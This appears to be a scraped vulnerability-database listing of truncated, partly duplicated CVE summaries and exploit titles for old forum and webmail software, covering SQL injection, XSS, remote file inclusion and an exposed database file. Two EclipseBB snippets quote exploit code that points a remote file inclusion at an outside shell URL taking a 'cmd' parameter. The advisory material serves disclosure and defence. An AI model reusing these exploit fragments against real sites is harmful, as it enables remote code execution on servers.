Woltlab Burning Board Lite <= 1.0.2pl3e (pms.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================================= Woltlab Burning Board Lite = 4.1 / if $argc6 printr' ------------------------------------------------------------------------------- Usage: php '.$argv0.' host path us...

CVE-2007-0581

CVE-2007-0581 describes a PHP remote file inclusion in EclipseBB 0.5.0 Lite’s functions.php, exploitable via a URL in the phpbb_root_path parameter to execute arbitrary PHP code. Affected: EclipseBB 0.5.0 Lite. Root cause: improper handling of user-supplied URL in phpbb_root_path. Impact: arbitra...

EclipseBB 0.5.0 Lite (phpbb_root_path) Remote File Include Exploit

No description provided by source. C xoron Bug name: EclipseBB 0.5.0 Lite phpbbrootpath Remote File Include Exploit Script Name: EclipseBB 0.5.0 Lite Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "functions.php?phpbbrootpath="; $path = "/includes/"; $shell =...

EclipseBB 0.5.0 Lite - 'phpbb_root_path' Remote File Inclusion

C xoron Bug name: EclipseBB 0.5.0 Lite phpbbrootpath Remote File Include Exploit Script Name: EclipseBB 0.5.0 Lite Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "functions.php?phpbbrootpath="; $path = "/includes/"; $shell = "http://pang0.by.ru/shall/pang057.zz?cmd="; prin...

CVE-2006-6532

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 StrMsg or 2 TopicID parameter to a vfinfo.asp, b vfnewtopic.asp, c vfsettings.asp, and d vfreplytopic.asp, different vectors than CVE-2006-644...

CVE-2006-6532

CVE-2006-6532 is an XSS issue affecting Vt-Forum Lite 1.3 and earlier. Connected docs confirm exploitable via (1) StrMsg/Topic_ID parameters to vf_info.asp, vf_newtopic.asp, vf_settings.asp, and vf_replytopic.asp (and references to CVE-2006-6447). Root cause is insufficient input sanitization lea...

CVE-2006-6532

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 StrMsg or 2 TopicID parameter to a vfinfo.asp, b vfnewtopic.asp, c vfsettings.asp, and d vfreplytopic.asp, different vectors than CVE-2006-644...

PHlyMail Lite Mod.Listmail.PHP远程文件包含漏洞

PHlyMail Lite是一款基于PHP的WEB邮件程序。 PHlyMail Lite不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'mod.listmail.php'脚本对用户提交的'PMpathhandler'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 PHlyMail PHlyMail 3.3.4 PHlyMail PHlyMail 3.0.2 .07 PHlyMail PHlyMail 3.0.2 .01 PHlyMail PHlyMail 3.0.2 .00 暂无...

CVE-2006-6449

Vt-Forum Lite 1.3 and earlier store sensitive information under the web root with insufficient access control, which allows remote attackers to download a database via a direct request for db/forum.mdb. NOTE: The provenance of this information is unknown; the details are obtained solely from thir...

CVE-2006-6447

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and 1.5 allow remote attackers to inject arbitrary web script or HTML via 1 the StrMes parameter in vfinfo.asp and possibly 2 a URL in the SRC attribute of an IFRAME element that is submitted to vfnewtopic.asp...

CVE-2006-6448

Multiple SQL injection vulnerabilities in Vt-Forum Lite 1.3 and earlier allow remote attackers to execute arbitrary SQL commands via the user parameter to vfmemberdetail.asp, and other unspecified vectors. NOTE: The provenance of this information is unknown; the details are obtained solely from...

CVE-2006-6449

Vt-Forum Lite 1.3 and earlier store sensitive information under the web root with insufficient access control, which allows remote attackers to download a database via a direct request for db/forum.mdb. NOTE: The provenance of this information is unknown; the details are obtained solely from thir...

CVE-2006-6447

Vuln: CVE-2006-6447 affects Vt-Forum Lite 1.3 and 1.5. Affected component: vf_info.asp (StrMes parameter) and possibly a URL in the SRC attribute of an IFRAME submitted to vf_newtopic.asp, enabling remote XSS through input vectors described in the description. Impact and specifics are limited to ...

CVE-2006-6448

Vulnerability: CVE-2006-6448 affects Vt-Forum Lite 1.3 and earlier. Description: Multiple SQL injection vulnerabilities allow remote attackers to execute arbitrary SQL commands via the user parameter to vf_memberdetail.asp and other vectors. Root cause: unsafely constructed SQL queries in the aff...

CVE-2006-6447

Multiple cross-site scripting XSS vulnerabilities in Vt-Forum Lite 1.3 and 1.5 allow remote attackers to inject arbitrary web script or HTML via 1 the StrMes parameter in vfinfo.asp and possibly 2 a URL in the SRC attribute of an IFRAME element that is submitted to vfnewtopic.asp...

CVE-2006-6448

Multiple SQL injection vulnerabilities in Vt-Forum Lite 1.3 and earlier allow remote attackers to execute arbitrary SQL commands via the user parameter to vfmemberdetail.asp, and other unspecified vectors. NOTE: The provenance of this information is unknown; the details are obtained solely from...

CVE-2006-6449

Vulnerability CVE-2006-6449 affects Vt-Forum Lite 1.3 and earlier. The issue is that sensitive information (a database) is stored under the web root with insufficient access control, enabling remote attackers to download db/forum.mdb via a direct request. This describes a partial confidentiality ...

CVE-2006-6289

Woltlab Burning Board wBB Lite 1.0.2 does not properly unset variables when the input data includes a numeric parameter with a value matching an alphanumeric parameter's hash value, which allows remote attackers to execute arbitrary SQL commands via the wbbuserid parameter to the top-level URI...

NEWSolved Lite v1.9.2 (abs_path) Remote File Inclusion Vulnerabilities

No description provided by source. +-------------------------------------------------------------------- + + NEWSolved Lite v1.9.2 abspath Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: NEWSolved Lite v1.9.2 maybe above +...

Vt-Forum Lite 1.3 - vf_newtopic.asp IFRAME Element Cross-Site Scripting

Vt-Forum Lite 1.3 - vfnewtopic.asp IFRAME Element Cross-Site Scripting source: https://www.securityfocus.com/bid/21428/info Vt-Forum Lite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to...